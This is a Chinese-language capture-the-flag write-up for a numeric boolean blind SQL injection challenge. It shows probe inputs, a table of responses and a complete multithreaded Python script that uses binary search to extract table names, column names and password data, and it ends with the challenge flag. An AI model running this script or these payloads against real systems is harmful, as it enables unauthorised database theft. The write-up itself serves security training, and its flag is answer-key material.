先看过滤:
这么多!
题目有提示:
大家好!我是练习时常两年半的,个人WEB程序员cl4y,我会php,PYTHON,mysql,SQL盲注
应该用布尔盲注。先找注入点,引号、and、or、异或都不能用,连select也禁用了。布尔盲注用不了啊这。看来注入点不在这里。
发现有/search.php?id=1,注入点应该就是id了,看一下过滤:
找注入点:
id | 回显 | 推断 |
---|---|---|
1' | Error | |
0'or'1 | Error | |
0'or'0 | Error | |
2-1 | NO! Not this! Click others~~~ | 数字型注入 |
2-(1=1) | NO! Not this! Click others~~~ | |
2-(1=0) | yingyingying~ Not this as well~~ | 找到注入点 |
字符截取:substr()
判断:ord()+'='
尝试一下:2-(ord(substr('a',1,1))=97) 回显NO! Not this! Click others~~~说明可以
直接脚本跑。
结果:
table_name: F1naI1y,Flaaaaag column in Flaaaaag: id,fl4gawsl
爆破fl4gawsl的时候发现长度非常长,然后直接看一下id=1的值发现就是现在使用的表,题目中有提示Clever! But not this table.所以肯定在F1naI1y表中了。
字段很长,利用多线程缩短时间。有访问限制,需要使用二分法,减少访问次数。
在之前的脚本上进行了一些修改:
python
import random
import time
import requests
from concurrent.futures import ThreadPoolExecutor
url = 'http://f46c82ad-e8f5-49f4-8205-25c0d2bf1830.node5.buuoj.cn:81/search.php'
symbol = "NO! Not this! Click others"
# select = 'select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())'
# select = 'select(group_concat(column_name))from(information_schema.columns)where((table_name)=("F1naI1y"))'
select = 'select(group_concat(password))from(F1naI1y)'
length = 0
result = [''] * 1000 # 使用列表存储结果,避免线程安全问题
def make_request(url, param):
try:
r = requests.get(url, params=param, timeout=30)
r.raise_for_status() # 检查HTTP状态码
return r
except requests.exceptions.Timeout:
print("[-] 请求超时,请检查网络连接或增加超时时间")
except requests.exceptions.HTTPError as e:
print(f"[-] HTTP错误: {e.response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] 请求异常: {str(e)}")
return None
def make_request_with_retry(url, param):
global result
r = make_request(url, param)
if not r:
print("[-] 重试")
time.sleep(random.randint(0, 10))
r = make_request(url, param)
if not r:
return None
return r
def get_length():
global length
for i in range(0, 500):
param = {
"id": f"2-(({select_len})={i})",
}
r = make_request(url, param)
if not r:
print("[-] 重试")
time.sleep(5)
r = make_request(url, param)
if not r:
print("[-] 数字{i}跳过")
# print(r.text)
# print(f"2-(({select_len})={i})")
if symbol in r.text:
print(f"长度为{i}")
length = i
break
def get_length_with_BinarySearch():
global length
low, high = 0, 500
while low <= high:
mid = (low + high) // 2
param = {
"id": f"2-(({select_len})>={mid})"
}
r = make_request_with_retry(url, param)
if not r:
print(f"[-]重试数字{mid}")
r = make_request_with_retry(url, param)
if not r:
print(f"[-]长度爆破失败")
if symbol in r.text:
# 大于等于mid
param = {
"id": f"2-(({select_len})={mid})"
}
r = make_request_with_retry(url, param)
if not r:
print(f"[-]重试数字{mid}")
r = make_request_with_retry(url, param)
if not r:
print(f"[-]长度爆破失败")
if symbol in r.text:
print(f"长度为{mid}")
length = mid
break
else:
# 大于mid
low = mid + 1
else:
# 小于mid
high = mid - 1
def get_char_at_position(i):
global result
print(f"[*] 开始注入位置{i}...")
low, high = 31, 127
while low <= high:
mid = (low + high) // 2
param = {
"id": f"2-(ord(substr(({select}),{i},1))>={mid})"
}
r = make_request_with_retry(url, param)
if not r:
print(f"[-] 位置{i}未找到!!!!!!!!!!!")
result[i - 1] = '?'
break
if symbol in r.text:
# 大于等于mid
param = {
"id": f"2-(ord(substr(({select}),{i},1))={mid})"
}
r = make_request_with_retry(url, param)
if not r:
print(f"[-] 位置{i}未找到!!!!!!!!!!!")
result[i - 1] = '?'
break
if symbol in r.text:
# 等于mid
result[i - 1] = chr(mid)
print(f"[*] 位置{i}字符为{chr(mid)}")
break
else:
# 大于mid
low = mid + 1
else:
# 小于mid
high = mid - 1
# ------------------爆破长度
# select_len = 'select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database())'
# select_len = 'select(length(group_concat(column_name)))from(information_schema.columns)where((table_name)=("F1naI1y"))'
select_len = 'select(length(group_concat(password)))from(F1naI1y)'
get_length_with_BinarySearch()
if length == 0:
print("[-] length为0,请检查错误")
exit(0)
# ------------------多线程爆破
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(get_char_at_position, i) for i in range(150, length+1)]
# 等待所有任务完成
for future in futures:
future.result()
# # ------------------单线程爆破
# for i in range(1, length+1):
# get_char_at_position(i)
# 过滤空字符并拼接结果
final_result = ''.join(filter(None, result))
print("最终结果:", final_result)
跑出来是cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{aba4f8e7-b693-4b96-aa72-98b241ea24e5}。